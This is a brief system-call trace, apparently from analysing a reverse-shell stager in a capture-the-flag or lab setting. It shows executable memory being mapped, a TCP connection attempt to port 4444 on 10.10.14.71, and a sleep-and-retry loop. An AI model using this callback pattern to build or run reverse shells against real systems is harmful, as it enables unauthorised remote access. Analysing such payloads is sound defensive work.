      mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f6786bb9000
      socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
      connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("10.10.14.71")}, 16) = -1 ECONNREFUSED (Connection refused)
      nanosleep({tv_sec=5, tv_nsec=0}, NULL)  = 0
      ... while true